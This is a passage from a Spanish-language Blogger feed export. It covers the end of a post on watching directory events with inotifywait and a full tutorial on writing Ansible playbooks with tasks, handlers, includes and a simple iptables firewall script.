Con dicho comando estaríamos monitorizando todos los eventos dentro de la carpeta /tmp y todos sus subdirectorios; además estaría recibiendo constantemente eventos hasta que se le indique lo contrario, con lo que si abriésemos otra terminal podríamos realizar las acciones de a continuación:&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;&lt;span style=&quot;color: #904050;&quot;&gt;cd&lt;/span&gt; &lt;span style=&quot;color: #white;&quot;&gt;/tmp&lt;/span&gt; &lt;span style=&quot;color: #b060b0;&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; ls &lt;span style=&quot;color: #b060b0;&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; touch &lt;span style=&quot;color: #904050;&quot;&gt;test&lt;/span&gt; &lt;span style=&quot;color: #b060b0;&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style=&quot;color: #904050;&quot;&gt;echo&lt;/span&gt; prueba &lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #904050;&quot;&gt;test&lt;/span&gt; &lt;span style=&quot;color: #b060b0;&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; rm &lt;span style=&quot;color: #904050;&quot;&gt;test&lt;/span&gt;
&lt;/pre&gt;
Si viésemos los eventos visualizados por inotifywait veríamos lo siguiente:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZWyFHGSy6iS0tpP2LkYBd723MjtV_Q2JogcnmVVDncaSOGC7cj5LWOO8R7im6WO7neSZerQQ1sgHdqBOX-Ba7Q5IKbkug3lp-Gxm-E_5jlivPXCOQunsB22gYvpTruHvQnyKWjTVDpEBJ/s1600/inotifywait.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;inotifywait&quot; border=&quot;0&quot; data-original-height=&quot;210&quot; data-original-width=&quot;253&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZWyFHGSy6iS0tpP2LkYBd723MjtV_Q2JogcnmVVDncaSOGC7cj5LWOO8R7im6WO7neSZerQQ1sgHdqBOX-Ba7Q5IKbkug3lp-Gxm-E_5jlivPXCOQunsB22gYvpTruHvQnyKWjTVDpEBJ/s1600/inotifywait.PNG&quot; title=&quot;inotifywait&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Al final se estarían viendo en tiempo real todas las acciones realizadas, desde la creación del archivo hasta la eliminación de éste. Además si queremos podemos dejar que el proceso inotifywait esté corriendo en segundo plano y que vuelque todo el contenido en fichero para poder analizarlo más tarde con tranquilidad, extrayendo las conclusiones que deseemos. Esto requeriría hacer simplemente la siguiente modificación en el anterior comando:&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;inotifywait &lt;span style=&quot;color: #00dddd;&quot;&gt;-r&lt;/span&gt; -m &lt;span style=&quot;color: #white;&quot;&gt;/tmp&lt;/span&gt; &lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #white;&quot;&gt;/var/inotify.log&lt;/span&gt; &lt;span style=&quot;color: #b060b0;&quot;&gt;&amp;amp;&lt;/span&gt;
&lt;/pre&gt;
Dicho proceso tendría que ser finalizado mediante un kill, o llevado a primer plano para poder finalizarse.&lt;br /&gt;
&lt;br /&gt;
Como podéis ver el tener controlado un directorio o un grupo de éstos puede llegar a ser útil pues gracias a ello podemos tener un mayor conocimiento de lo que ocurre dentro de nuestro sistema.&lt;br /&gt;
&lt;br /&gt;
Espero que os haya resultado útil.&lt;br /&gt;
&lt;br /&gt;
Saludos.&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='https://bytelearning.blogspot.com/feeds/568305948809798760/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://bytelearning.blogspot.com/2018/02/monitorzar-eventos-tiempo-real-inotify-linux.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default/568305948809798760'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default/568305948809798760'/><link rel='alternate' type='text/html' href='https://bytelearning.blogspot.com/2018/02/monitorzar-eventos-tiempo-real-inotify-linux.html' title='Cómo monitorizar eventos de un directorio en tiempo real con inotify en Linux'/><author><name>Ivan Da Silva</name><uri>http://www.blogger.com/profile/13470310234898491916</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxgVFQM2qiql-BkwnZQFsPjh2p6-nSe0YDzgOP86bErFRgnOv87GYCCKGkYs7IUg_StGaLtcH-fhKvwC-V4ttAEUTZvNY7_gviGl4HxLUVhosPaELC9gtifYpw3zkjrgQkhk6D3u7P5cGE/s72-c/inotify_portada.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-758491715129760469.post-4044877145239664469</id><published>2018-01-15T21:22:00.002+01:00</published><updated>2019-10-25T12:25:51.267+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Apache2"/><category scheme="http://www.blogger.com/atom/ns#" term="Asterisk"/><category scheme="http://www.blogger.com/atom/ns#" term="Bash"/><category scheme="http://www.blogger.com/atom/ns#" term="Firewall"/><category scheme="http://www.blogger.com/atom/ns#" term="Howto"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="Networking"/><category scheme="http://www.blogger.com/atom/ns#" term="Shell"/><title type='text'>Cómo usar los playbooks con Ansible en Linux</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;a href=&quot;http://bytelearning.blogspot.com/2018/01/Instalar-Ansible-uso-basico-Linux.html&quot;&gt;Continuando con el anterior artículo&lt;/a&gt;, en esta ocasión vamos a profundizar un poco más en el uso de la herramienta &lt;b&gt;Ansible&lt;/b&gt;. Hasta ahora hemos podido mandar ordenes individuales desde el controlador al resto de equipos, a los que llamaremos nodos, pero el problema radica en que por el momento lo único que estamos haciendo es mandar una orden individual a todos... Una orden que puede ser muy práctica y que puede ahorrarnos mucho tiempo, pero que no es lo más práctico cuando queremos gestionar varios servicios y tareas... Es por ello que en este aparado vamos a centrarnos en uno de los aspectos más importantes que ofrece Ansible: Los &lt;b&gt;playbooks&lt;/b&gt;. Antes de continuar, es recomendable que, si no se tienen noción alguna de Ansible, os leáis el anterior artículo.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib4l4hp8bthEAOTj5NXyeuJtjnMXRzZjMzMOBOpDFZ7KhZECL0Pd4vEIkZEvOJRfdgHNiUHsTLZ35j2ts5EqGIsS_Z6-M4cLHhVou7X_uBR51aVxL7PRftg2o3cPg7z-5Akadj_cWa-xUu/s1600/playboos_portada.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;playbooks_portada&quot; border=&quot;0&quot; data-original-height=&quot;500&quot; data-original-width=&quot;500&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib4l4hp8bthEAOTj5NXyeuJtjnMXRzZjMzMOBOpDFZ7KhZECL0Pd4vEIkZEvOJRfdgHNiUHsTLZ35j2ts5EqGIsS_Z6-M4cLHhVou7X_uBR51aVxL7PRftg2o3cPg7z-5Akadj_cWa-xUu/s320/playboos_portada.jpg&quot; title=&quot;playbooks_portada&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Un playbook no es más que un fichero que contiene las ordenes correspondientes que queremos enviar a todos los nodos; ordenes que se irían ejecutando secuencialmente según hallamos escrito en el fichero. Dicho playbook, estará escrito en lenguaje &lt;b&gt;YMAL &lt;/b&gt;y tendrá una extensión &lt;b&gt;.yml&lt;/b&gt;. La lógica es parecida a la seguida con las ordenes y los módulos usados en el anterior apartado, pero con más opciones y con la posibilidad de crear un conjunto de ordenes de forma estructurada y ordenada. La mejor forma de entenderlo es con un pequeño ejemplo inicial. Para ello, para tener todo bien organizado, vamos a crear un directorio llamado &lt;b&gt;PLAYBOOKS &lt;/b&gt;dentro de &lt;b&gt;/etc/ansible&lt;/b&gt;&amp;nbsp;y dentro de dicho directorio vamos a crear un fichero llamado &lt;b&gt;master.yml&lt;/b&gt;.&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;mkdir &lt;span style=&quot;color: #d1d1d1;&quot;&gt;/etc/ansible/PLAYBOOKS&lt;/span&gt;
touch &lt;span style=&quot;color: #d1d1d1;&quot;&gt;/etc/ansible/PLAYBOOKS/master.yml&lt;/span&gt;
&lt;/pre&gt;
Dicho fichero tendrá el contenido de a continuación:&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #f0f0f0; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;---
&lt;span style=&quot;color: #60a0b0; font-style: italic;&quot;&gt;#Este es el playbook maestro&lt;/span&gt;
- hosts: all
  remote_user: root
  tasks:
  - name: Asegurarse que NTP esta en marcha
    service: &lt;span style=&quot;color: #bb60d5;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;=&lt;/span&gt;ntp &lt;span style=&quot;color: #bb60d5;&quot;&gt;state&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;=&lt;/span&gt;started &lt;span style=&quot;color: #bb60d5;&quot;&gt;enabled&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;=&lt;/span&gt;yes
...
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
Puede parecer complicado, pero si lo desgranamos, veremos que es muy sencillo:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Los primeros tres guiones indican el comienzo del fichero. Todo fichero YMAL debe llevarlo para que Ansible pueda leerlo correctamente.&lt;/li&gt;
&lt;li&gt;Cualquier línea que comience con una &lt;b&gt;# &lt;/b&gt;será considerado un comentario, tal y como ocurre en los scripts de bash.&lt;/li&gt;
&lt;li&gt;Después comenzaremos con la primera sección de todas, que sería de a qué grupo (especificado previamente dentro del fichero &lt;i&gt;/etc/ansible/hosts&lt;/i&gt;) queremos hacer referencia. Allí podemos poner el nombre de un grupo que hayamos creado o, en caso de quererlo, decir que se envíen a todas las IPs y hosts que aparezcan dentro del fichero. En nuestro caso hemos optado por dicha opción, lo cual se representa mediante &lt;b&gt;- hosts: all&lt;/b&gt;. Es muy importante comenzar con dicho - pues marcaría el inicio de las acciones y reglas dirigidas a dicho grupo.&lt;/li&gt;
&lt;li&gt;Tras decir eso, habría que decir a qué usuario remoto nos queremos conectar. Aquí podemos escoger el que queramos, pero en mi caso, ya que he preparado el usuario root del otro equipo para poder conectarme directamente a él sin contraseña alguna, optaré por usar dicho usuario.&lt;/li&gt;
&lt;li&gt;Ahora habría que pasar a la parte de las tareas... Dichas tareas se definen mediante, el nombre &lt;b&gt;tasks:&lt;/b&gt; y después debajo de éste empezaríamos a mencionar las tareas una por una; tareas que siempre empezarían con un -.&lt;/li&gt;
&lt;li&gt;Toda tarea está compuesta por, cómo mínimo, 2 partes. La primera parte sería meramente informativa. Se pondría un nombre descriptivo que nos mostraría Ansible antes de ejecutar la tarea. Dicho nombre se especificaría mediante &lt;b&gt;- name&lt;/b&gt;. La segunda parte sería la tarea a ejecutar, que constaría de: &lt;b&gt;Módulo: argumentos. &lt;/b&gt;En este caso hemos usado el módulo service, y los argumentos usados serían name, state y enabled. Se pueden poner tantas tareas como se quieran, siempre y cuando se siga la misma estructura que la que acabo de mencionar.&lt;/li&gt;
&lt;li&gt;Por último, siempre al final de cada playbook habría que escribir tres puntos.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Este ejemplo es muy sencillo y puede evolucionar a mucho más, poniendo diferentes hosts y tareas, pero sirve de buena base introductoria... Para ejecutar dicho playbook, simplemente habría que escribir el comando:&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;ansible-playbook &lt;span style=&quot;color: #d1d1d1;&quot;&gt;/etc/ansible/PLAYBOOKS/master.yml&lt;/span&gt;
&lt;/pre&gt;
El contenido del playbook, al hacer referencia a una única tarea, sería lo equivalente al siguiente comando de Ansible:&lt;/div&gt;
&lt;div&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;ansible all -m service &lt;span style=&quot;color: #00dddd;&quot;&gt;-a&lt;/span&gt; &lt;span style=&quot;color: teal;&quot;&gt;\&lt;/span&gt;
&lt;span style=&quot;color: #00c4c4;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #00c4c4;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #d2cd86;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #00c4c4;&quot;&gt;ntp &lt;/span&gt;&lt;span style=&quot;color: #00c4c4;&quot;&gt;state&lt;/span&gt;&lt;span style=&quot;color: #d2cd86;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #00c4c4;&quot;&gt;started &lt;/span&gt;&lt;span style=&quot;color: #00c4c4;&quot;&gt;enabled&lt;/span&gt;&lt;span style=&quot;color: #d2cd86;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #00c4c4;&quot;&gt;yes&quot;&lt;/span&gt;
&lt;/pre&gt;
Vamos a poner un ejemplo más completo en esta ocasión; supongamos que queramos asegurarnos de que el servicio NTP tenga la última versión; además también vamos a verificar que el servicio Asterisk está en marcha. Por otro lado vamos a crear una tarea exclusiva para el grupo llamado &lt;b&gt;PRUEBAS&lt;/b&gt;; una tarea que consistirá en revisar que tenemos la última versión del paquete apache2. Al final sería aplicara los mismos conceptos que hemos visto arriba, pero de forma un poco más amplia, dejando el fichero con el siguiente aspecto:&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #f0f0f0; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;---
&lt;span style=&quot;color: #60a0b0; font-style: italic;&quot;&gt;#Este es el playbook maestro&lt;/span&gt;

&lt;span style=&quot;color: #60a0b0; font-style: italic;&quot;&gt;#Reglas para todos los hosts&lt;/span&gt;
- hosts: all
  remote_user: root
  tasks:
  - name: Asegurarse que NTP esta en marcha
    service: &lt;span style=&quot;color: #bb60d5;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;=&lt;/span&gt;ntp &lt;span style=&quot;color: #bb60d5;&quot;&gt;state&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;=&lt;/span&gt;started &lt;span style=&quot;color: #bb60d5;&quot;&gt;enabled&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;=&lt;/span&gt;yes
  - name: Verificar ultima version NTP
    apt: &lt;span style=&quot;color: #bb60d5;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;=&lt;/span&gt;ntp &lt;span style=&quot;color: #bb60d5;&quot;&gt;state&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;=&lt;/span&gt;latest
  - name: Asegurarse que Asterisk esta en marcha
    service: &lt;span style=&quot;color: #bb60d5;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;=&lt;/span&gt;asterisk &lt;span style=&quot;color: #bb60d5;&quot;&gt;state&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;=&lt;/span&gt;started &lt;span style=&quot;color: #bb60d5;&quot;&gt;enabled&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;=&lt;/span&gt;yes

&lt;span style=&quot;color: #60a0b0; font-style: italic;&quot;&gt;# Reglas para el grupo PRUEBAS&lt;/span&gt;
- hosts: PRUEBAS
  remote_user: root
  tasks:
  - name: Verificar ultima version Apache2
    service: &lt;span style=&quot;color: #bb60d5;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;=&lt;/span&gt;apache2 &lt;span style=&quot;color: #bb60d5;&quot;&gt;state&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;=&lt;/span&gt;started &lt;span style=&quot;color: #bb60d5;&quot;&gt;enabled&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;=&lt;/span&gt;yes
...
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
Como podéis ver siempre mantendrá la misma lógica... Es decir primero irían los hosts de destino, luego el usuario con el que queremos hacer las acciones y por último las tareas a realizar.&lt;br /&gt;
&lt;br /&gt;
Una característica muy interesante que podemos aprovechar en los playbooks, es el uso de &lt;b&gt;handlers&lt;/b&gt;. Un handler es una tarea que se ejecuta únicamente en caso de que una tarea concreta (especificada por nosotros) haya realizado un cambio de estado. Por ejemplo si tuviésemos un handler preparado para cuando hubiese un cambio de estado en Apache2, y una tarea que se asegurase de que apache2 tuviese la última versión, en caso de que Apache2 no la tuviese, el handler se ejecutaría. Veamos un ejemplo usando como referencia el mencionado Apache2:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;background: #f0f0f0; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;---
&lt;span style=&quot;color: #60a0b0; font-style: italic;&quot;&gt;#Este es el playbook maestro&lt;/span&gt;
- hosts: all
  remote_user: root
  tasks:
  - name: Verificar ultima version Apache2
    apt: &lt;span style=&quot;color: #bb60d5;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;=&lt;/span&gt;apache2 &lt;span style=&quot;color: #bb60d5;&quot;&gt;state&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;=&lt;/span&gt;latest
    notify: &lt;span style=&quot;color: #4070a0;&quot;&gt;&quot;Reiniciar Apache2&quot;&lt;/span&gt;
  handlers:
  - name: Reiniciar apache si es necesario
    service: &lt;span style=&quot;color: #bb60d5;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;=&lt;/span&gt;apache2 &lt;span style=&quot;color: #bb60d5;&quot;&gt;state&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;=&lt;/span&gt;restarted
    listen: &lt;span style=&quot;color: #4070a0;&quot;&gt;&quot;Reiniciar Apache2&quot;&lt;/span&gt;
...
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
Como podéis observar, el handler está a la escucha de que le llegue una notificación; notificación que enviaríamos desde la tarea de verificación de la última versión de Apache2. Con lo que siempre que trabajásemos con handlers, trabajaríamos de la misma forma que con las tareas, pero con la diferencia de que desde la tarea tendríamos que notificar al handler mediante un &lt;b&gt;notify&lt;/b&gt;, y desde el handler tendríamos que escuchar a que nos llegase una notificación concreta mediante un &lt;b&gt;listen&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
Gracias a las tareas (tasks) y handlers, podemos realizar playbooks muy completos donde podemos agrupar una enorme cantidad de tareas y handlers para luego así llamarlos a todos a la vez; ahorrándonos tener que escribir los comandos uno a uno para cada tarea que queramos realizar, haciendo que nos ahorremos muchísimo tiempo una vez tengamos todas las tareas correctamente definidas. Aún así, a nivel de gestión, el tener todas las tareas y handlers en un solo playbook puede ser una locura a nivel de mantenimiento... Cuando son pocas tareas y servicios no pasa nada, pero y si queremos gestionar 50 servicios, con diferentes grupos, handlers, etc... Técnicamente al agruparlo todo en un solo playbook es perfectamente viable, pero a nivel mantenerlo en el tiempo puede ser realmente costoso, especialmente si se quieren hacer cambios en el futuro... Es por ello que lo ideal es tener un playbook maestro y que este vaya llamando a diferentes playbooks dependiendo de las tareas que se quieran realizar. La llamada a dichos playbooks desde el playbook maestro se realiza mediante la sentencia &lt;b&gt;include&lt;/b&gt;, y podemos crear una estructura perfectamente definida para que con el paso del tiempo se pueda mantener sin demasiados problemas.&lt;br /&gt;
&lt;br /&gt;
Vamos a suponer que queremos poner un &lt;a href=&quot;https://bytelearning.blogspot.com.es/2015/01/sencillo-cortafuegos-linux-escrito-en.html&quot;&gt;firewall&lt;/a&gt;&amp;nbsp;para todos los equipos; un firewall común que todos van a tener; además también vamos a verificar que tanto Mysql como Apache2 están en marcha, pues tenemos un servidor web; por otro lado también verificaremos qué Asterisk tiene la última versión y que en dicho caso lo reiniciaremos. Estas tareas se podrían considerar como diferentes entre sí y por ello lo suyo sería tener: El playbook maestro, un playbook para el firewall, otro playbook para el apartado web y otro más para Asterisk. Comencemos con el aspecto del playbook maestro, &lt;b&gt;master.yml&lt;/b&gt;:&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #f0f0f0; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;---
&lt;span style=&quot;color: #60a0b0; font-style: italic;&quot;&gt;#Este es el playbook maestro&lt;/span&gt;
- hosts: all
  remote_user: root
  tasks:
  - include: /etc/ansible/PLAYBOOKS/Firewall.yml
  - include: /etc/ansible/PLAYBOOKS/Web.yml
  - include: /etc/ansible/PLAYBOOKS/Asterisk.yml
  handlers:
  - include: /etc/ansible/HANDLERS/Firewall_handler.yml
  - include: /etc/ansible/HANDLERS/Web_handler.yml
  - include: /etc/ansible/HANDLERS/Asterisk_handler.yml
...
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
Como podéis ver todo queda alojado en ficheros separados, tanto las tareas como los handlers; handlers que como podéis ver se alojarían en otro directorio llamado &lt;b&gt;/etc/ansible/HANDLERS/&lt;/b&gt;. Estos ficheros tendrían una ligera variación con respecto a lo que hemos visto hasta ahora, pues a diferencia de un playbook &quot;normal&quot;, en estos no haría falta ponerles las etiquetas, solamente las tareas a realizar, pues ya estarían asignadas previamente por el &lt;b&gt;master.yml&lt;/b&gt;. Veamos por ejemplo el contenido de uno de los playbooks de tareas; concretamente el contenido del fichero &lt;b&gt;Firewall.yml&lt;/b&gt; que posee un módulo que no hemos visto hasta ahora; el módulo &lt;b&gt;copy &lt;/b&gt;en el que copiaremos un fichero desde nuestro controlador al resto de nodos.&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #f0f0f0; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;---
&lt;span style=&quot;color: #60a0b0; font-style: italic;&quot;&gt;#ESTE ES EL PLAYBOOK DEL FIREWALL&lt;/span&gt;
- name: COPIAR IPTABLES DEL CONTROLADOR A LOS NODOS
  copy: &lt;span style=&quot;color: #bb60d5;&quot;&gt;src&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;=&lt;/span&gt;/usr/src/iptables.sh &lt;span style=&quot;color: #bb60d5;&quot;&gt;dest&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;=&lt;/span&gt;/etc/init.d/iptables.sh
  notify: &lt;span style=&quot;color: #4070a0;&quot;&gt;&quot;CORTAFUEGOS&quot;&lt;/span&gt;
...
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
Como veis directamente empezaríamos con el &lt;i&gt;- name&lt;/i&gt;; sin mencionar los &lt;i&gt;hosts&lt;/i&gt;, ni el usuario remoto, ni el hecho de que es una tarea y no un handler, pues todo eso ya ha sido especificado por el anterior playbook. En este caso lo que hacemos simplemente es copiar un fichero desde la máquina controladora al resto de equipos y que en caso de que haya una diferencia entre el &lt;b&gt;iptables.sh&lt;/b&gt; del equipo controlador y el del nodo, mande un &lt;i&gt;notify &lt;/i&gt;llamado &quot;CORTAFUEGOS&quot;. Obviamente si el fichero iptables.sh no existiese en el nodo, también mandaría dicho notify.&lt;br /&gt;
&lt;br /&gt;
El proceso de llamamiento de un handler mediante un include no difiere apenas con el realizado con las tareas. Buen ejemplo de ello sería el handler &lt;b&gt;Firewall_handler.yml &lt;/b&gt;que estaría relacionado con la tarea arriba mostrada; en este caso usaremos otro módulo nuevo llamado file, capaz de modificar los permisos de un fichero para que sea ejecutable:&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #f0f0f0; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;---
&lt;span style=&quot;color: #60a0b0; font-style: italic;&quot;&gt;#HANDLERS FIREWALL&lt;/span&gt;
- name: Dar permisos firewall
  file: &lt;span style=&quot;color: #bb60d5;&quot;&gt;dest&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;=&lt;/span&gt;/etc/init.d/iptables.sh &lt;span style=&quot;color: #bb60d5;&quot;&gt;mode&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;=&lt;/span&gt;755 &lt;span style=&quot;color: #bb60d5;&quot;&gt;state&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;=&lt;/span&gt;touch
  listen: &lt;span style=&quot;color: #4070a0;&quot;&gt;&quot;CORTAFUEGOS&quot;&lt;/span&gt;
- name: Arrancar cortafuegos
  shell: /etc/init.d/iptables.sh start
  listen: &lt;span style=&quot;color: #4070a0;&quot;&gt;&quot;CORTAFUEGOS&quot;&lt;/span&gt;
...
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
En este caso el handler lo primero que haría sería darle los permisos de ejecución necesarios al nuevo script para luego ejecutarlo. El contenido del cortafuegos no es algo relevante para este ejemplo, pero a modo de prueba podría ser algo como lo siguiente:&lt;br /&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #f8f8f8; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #408080; font-style: italic;&quot;&gt;#!/bin/bash&lt;/span&gt;
&lt;span style=&quot;color: green; font-weight: bold;&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: #ba2121;&quot;&gt;&quot;$1&quot;&lt;/span&gt; in
        start&lt;span style=&quot;color: #666666;&quot;&gt;)&lt;/span&gt;
                iptables -F
                iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
                iptables -A INPUT -m state --state NEW -j DROP
                iptables -A OUTPUT -j ACCEPT
        ;;
        stop&lt;span style=&quot;color: #666666;&quot;&gt;)&lt;/span&gt;
                iptables -F
        ;;
&lt;span style=&quot;color: green; font-weight: bold;&quot;&gt;esac&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
Con esto ya tendríamos el firewall controlado y simplemente siguiendo las mismas pautas se podría hacer exactamente lo mismo para la gestión de tanto la parte Web como Asterisk, pues la base sería la misma que la que hemos estado usando hasta ahora.&lt;br /&gt;
&lt;br /&gt;
Gracias a lo que hemos visto en este artículo, tendríamos un dominio básico de los playbooks gracias al cual podríamos realizar la mayoría de las gestiones necesarias para controlar un grupo de servidores... De aquí en adelante solo sería profundizar conceptos y jugar con los diferentes módulos de Ansible, con el fin de tener los playbooks más óptimos posibles.&lt;br /&gt;
&lt;br /&gt;
Espero que os haya resultado útil.&lt;br /&gt;
&lt;br /&gt;
Saludos.&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='https://bytelearning.blogspot.com/feeds/4044877145239664469/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://bytelearning.blogspot.com/2018/01/usar-playbooks-ansible-linux.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default/4044877145239664469'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default/4044877145239664469'/><link rel='alternate' type='text/html' href='https://bytelearning.blogspot.com/2018/01/usar-playbooks-ansible-linux.html' title='Cómo usar los playbooks con Ansible en Linux'/><author><name>Ivan Da Silva</name><uri>http://www.blogger.com/profile/13470310234898491916</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" 